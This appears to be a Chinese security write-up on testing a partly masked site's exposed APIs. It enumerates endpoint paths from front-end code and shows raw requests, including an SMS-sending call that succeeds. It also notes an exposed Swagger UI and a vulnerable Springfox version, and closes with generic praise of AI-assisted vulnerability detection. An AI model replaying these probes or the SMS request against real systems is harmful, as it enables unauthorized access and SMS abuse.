"/merchant/role/getRoleResourceTreeByRoleId" , N = r + "/merchant/role/deleteById" , B = r + "/merchant/role/save" , z = r + "/merchant/role/update" , H = r + "/merchant/role/saveRoleResourceTree" , F = r + "/staff/UcMerchantApp/getAppByCompanyId" , V = r + "/staff/UcMerchantUser/pageList" , G = r + "/staff/UcMerchantUser/save" , K = r + "/staff/UcMerchantUser/updateStatusById" , W = r + "/staff/UcMerchantUser/deleteById" , J = r + "/staff/UcMerchantUser/getUserPower" , X = r + "/staff/UcMerchantUser/updateUserAuditStatus" , Y = r + "/staff/UcMerchantUser/addUserPower" , Q = r + "/staff/UcMerchantPostInst/update" , Z = r + "/staff/UcMerchantPostInst/deletePositionInstByUserId" , ee = r + "/staff/UcOrganization/getAllUcOrganization" , te = r + "/staff/UcOrganization/deleteById" , ne = r + "/staff/UcOrganization/getById" , re = r + "/staff/UcOrganization/update" , oe = r + "/staff/UcOrganization/save" , ae = r + "/staff/UcMerchantPosition/pageList" , ie = r + "/staff/UcMerchantPosition/getAllUcMerchantPosition" , se = r + "/staff/UcMerchantPosition/getById" , ce = r + "/staff/UcMerchantPosition/deleteById" , ue = r + "/staff/UcMerchantPosition/update" , le = r + "/staff/UcMerchantPosition/save" , fe = r + "/organization/UcCompanyRelation/pageList" , pe = r + "/organization/UcCompanyRelation/deleteById" , de = r + "/organization/UcCompanyRelation/updateRelationStatus" , me = r + "/organization/UcCompanyRelation/getCompanyList" , he = r + "/organization/UcCompanyRelation/save" , ge = r + "/staff/UcMerchantUser/getAllNoAuthenticationUser" , be = r + "/staff/UcMerchantUser/authenticationUser" , ye = r + "/release/PcReleaseConfig/pageList" , ve = r + "/release/PcReleaseConfig/save" , xe = r + "/release/PcReleaseConfig/getById" , we = r + "/release/PcReleaseConfig/update" , Oe = r + "/release/PcReleaseConfig/getByCode" , je = r + "/staff/UcOrganization/getPageCompany" , _e = r + "/staff/UcMerchantApp/getAppAndAppResourceByCompanyId" , Ce = r + "/staff/UcMerchantApp/addOrEditAppAndAppResource" 还有 var r = "/zzwwxx-spm-staff-center/api/v1" , o = "/zzwwxx-spm-contract-center/api/v1" , c = r + "/organization/getOrganizationTree" , l = r + "/user/pageList" , f = r + "/user/getById" , d = r + "/user/changeWork" , m = o + "/Contract/projectManagerList" , h = o + "/workflow/pageList" , y = o + "/workflow/getById" , v = o + "/workflowDetail/getByWorkflowId" , x = o + "/workflowDetail/getWorkflowNode" , w = o + "/workflowDetail/save" , O = { submitTask: o + "/workflow/submitTask", cancelTask: o + "/workflow/cancelTask", approvalTask: o + "/workflow/approvalTask", getWorkflowProcess: o + "/workflow/getWorkflowProcess", auditPageList: o + "/Contract/auditPageList", getAuditDetail: o + "/Contract/getAuditDetail", rejectTask: o + "/workflow/rejectTask" } , j = { auditPageList: o + "/Contract/discard/auditPageList", approvalTask: o + "/workflow/discard/approvalTask", rejectTask: o + "/workflow/discard/rejectTask", getAuditDetail: o + "/Contract/discard/getAuditDetail" } , template = { templatePageList: o + "/Template/pageList", templateSave: o + "/Template/save", templateGetById: o + "/Template/getById", templateUpdate: o + "/Template/update", templateDeleteById: o + "/Template/deleteById" } , _ = { loginByCode: r + "/login/loginByCode", loginOut: r + "/login/loginOut" } , C = { getById: r + "/enterprise/getById", pageList: r + "/enterprise/pageList", update: r + "/enterprise/update", selectPrincipal: r + "/user/selectPrincipal" } , menu = { getMenuTree: r + "/menu/getMenuTree", save: r + "/menu/save", getResource: r + "/user/getResource" } , P = { pageList: r + "/role/pageList", getById: r + "/role/getById", save: r + "/role/save", update: r + "/role/update", updateStatus: r + "/role/updateStatus", getRoleFunctionAuth: r + "/roleAuth/getRoleFunctionAuth", saveRoleAuth: r + "/roleAuth/saveRoleAuth", getRoleServicerAuth: r + "/roleAuth/getRoleServicerAuth", getRoleContractAuth: r + "/roleAuth/getRoleContractAuth", getRoleUserAuth: r + "/roleAuth/getRoleUserAuth", getRoleAuth: r + "/roleAuth/getRoleAuth" } , k = { getWarning: r + "/Warning/getWarning", updateWarning: r + "/Warning/updateWarning" } , $ = { pageList: r + "/Log/pageList" } , S = { getModuleSetting: r + "/headerSetting/getModuleSetting", save: r + "/headerSetting/save" }

测试请求暴露的业务应用HTTP接口

https://xxxxwww.cn/zzwwxx-spm-staff-center/api/v1/organization/getOrganizationTree

{ "payload": null, "code": "402", "msg": "登录已过期,请重新登录", "traceId": "43f1a5334faa44d9a0255feae1462e63.63.17268809549648079" }

projectManagerList另一个匿名访问接口

POST https://xxxxwww.cn/zzwwxx-spm-contract-center/api/v1/Contract/projectManagerList HTTP/1.1 User-Agent: Fiddler Host: xxxxwww.cn Content-Length: 10 Content-Type: application/json {"page":1} HTTP/1.1 200 Date: Sat, 21 Sep 2024 01:17:52 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: acw_tc=0bca392617268814720164728e2b83ce39ee73e6c768f889aef017c5aabe3f;path=/;HttpOnly;Max-Age=1800 Content-Length: 135 {"payload":null,"code":"402","msg":"登录已过期,请重新登录","traceId":"673122c0467f45df90a059355f0662e0.87.17268814720307663"}

短信接口

POST https://xxxxwww.cn.com/sms/send HTTP/1.1 Host: xxxxwww.cn.com Connection: keep-alive Content-Length: 50 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-platform: "Windows" x-requested-with: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 X-Frame-Options: SAMEORIGIN Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Origin: https://xxxxwww.cn.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxxxwww.cn.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: acw_tc=0b3c7d8e17268817596242609ebb29dc4d988a18b059d231b7a9a52694089d; portal=ca4b5e6a-6b9e-4a01-aceb-0cae909de7e6; mdcRequestId=80c6fac676cf41a399d2bb5dda73d61a kind=0&option=0&verifyCode=l7gs&mobile=13888888888 HTTP/1.1 200 Date: Sat, 21 Sep 2024 01:23:34 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: mdcRequestId=29145115e6954b0e8ee79262e7e0c580; Max-Age=1800; Expires=Sat, 21-Sep-2024 01:53:34 GMT; Path=/; Secure; HttpOnly X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15724800 X-Frame-Options: SAMEORIGIN Content-Length: 75 {"code":"1","msg":"短信发送成功","data":"13888888888","success":true}

AI辅助分析安全漏洞



Swagger组件暴露

https://xxxxwww.cn/zzwwxx-spm-staff-center/swagger-ui.html



版本信息暴露

服务端是Springboot引用 Springfox 2.9.2版本信息

springfox.github.io/spr

mvnrepository.com/artif

分析其应用依赖

<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger2 --> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-swagger2</artifactId> <version>2.9.2</version> </dependency>

AI辅助分析



安全漏洞io.springfox:springfox-swagger-ui@2.9.2 vulnerabilities

security.snyk.io/packag

CVE-2019-17495

nvd.nist.gov/vuln/detai

github.com/advisories/G

avd.aliyun.com/detail?

github.com/swagger-api/

AI协助编写检测脚本

Python版本



JAVA版



省市区数据字典接口

https://xxxxwww.cn/zzwwxx-spm-servicer-center/api/v1/Dictionaries/getAreaListByLevel?_=1727252796423&level=1

省市区数据字典接口

AI协助响应体分析

总结

利用AI辅助分析HTTP请求响应报文,并反馈安全漏洞检测与修复建议,具有重要的意义。

1. 提高检测效率

传统的安全检测通常依赖于手动测试或使用固定的工具集。手动测试耗时耗力,而固定工具集可能无法覆盖所有类型的漏洞。AI可以快速处理大量的HTTP请求响应报文,并从中识别出潜在的安全问题,显著提高检测效率。
示例:AI可以实时分析数百甚至数千个请求响应报文,迅速找出其中的异常模式或可疑行为。

2. 提升检测准确性

AI可以利用机器学习模型和自然语言处理技术来识别复杂的模式和异常行为,从而提高检测的准确性。相比传统的基于规则的方法,AI可以更好地适应不断变化的攻击手段。
示例:AI可以识别出SQL注入、XSS攻击、CSRF攻击等多种复杂的安全漏洞,即使是那些难以通过静态规则检测的漏洞。

3. 自动化漏洞分类与优先级排序

AI可以根据漏洞的严重程度和影响范围自动对漏洞进行分类,并按优先级排序。这样可以确保安全团队首先处理最紧迫的问题。
示例:AI可以自动识别出哪些漏洞可能导致数据泄露、哪些漏洞可能导致系统崩溃,并据此进行优先级排序。

4. 提供定制化的修复建议

AI可以根据检测到的漏洞提供定制化的修复建议,帮助开发者快速解决问题。这对于不具备安全专业知识的开发人员尤其重要。
示例:AI可以建议如何修改代码以防止SQL注入,或者如何配置Web服务器以防止XSS攻击。

5. 实时监测与动态防御

AI可以实现实时监测,并在检测到潜在威胁时立即采取行动。这样可以及时阻止攻击的发生,而不是等到事后才进行处理。
示例:当AI检测到异常请求时,它可以自动触发防御机制,如阻断恶意IP地址或增加认证要求。

6. 学习与自我改进

AI系统可以通过持续学习来不断提升自身的检测能力和准确率。随着新漏洞的出现,AI可以不断更新其模型,保持最新的防护能力。
示例:AI可以通过分析历史数据和最新的安全研究,不断优化其检测算法和模型。

7. 降低误报率

传统的安全检测工具可能会产生较高的误报率,这会浪费大量的人力物力去验证这些误报。AI可以通过学习和智能分析,降低误报率,提高检测的有效性。
示例:AI可以区分正常的用户行为和恶意攻击行为,从而减少误报的情况。

8. 培训与教育

AI还可以作为培训工具,帮助开发人员和安全团队理解常见的安全漏洞及其防范措施。通过分析真实的请求响应报文,可以提供生动的案例教学。
示例:AI可以生成详细的漏洞分析报告,并附带详细的解释和案例,帮助团队成员更好地理解安全问题。

9. 促进合规性

AI可以确保系统遵守各种安全标准和法规要求,如GDPR、HIPAA等。这对于需要满足特定行业标准的企业尤为重要。
示例:AI可以检查系统是否符合特定的安全标准,并提供合规性的报告。

10. 降低成本

通过提高检测效率和准确性,减少误报,并提供自动化的修复建议,AI可以显著降低企业在安全管理方面的成本。示例:AI可以减少人工测试的时间和人力成本,同时减少因安全问题导致的停机时间和经济损失。

利用AI辅助分析HTTP请求响应报文,并反馈安全漏洞检测与修复建议,不仅可以提高检测的效率和准确性,还可以提供定制化的修复建议,实现实时监测与动态防御,并且通过持续学习不断提升自身的防护能力。此外,AI还可以帮助降低误报率,促进合规性,降低安全管理的成本。这些意义使得AI在Web安全领域发挥着越来越重要的作用。

END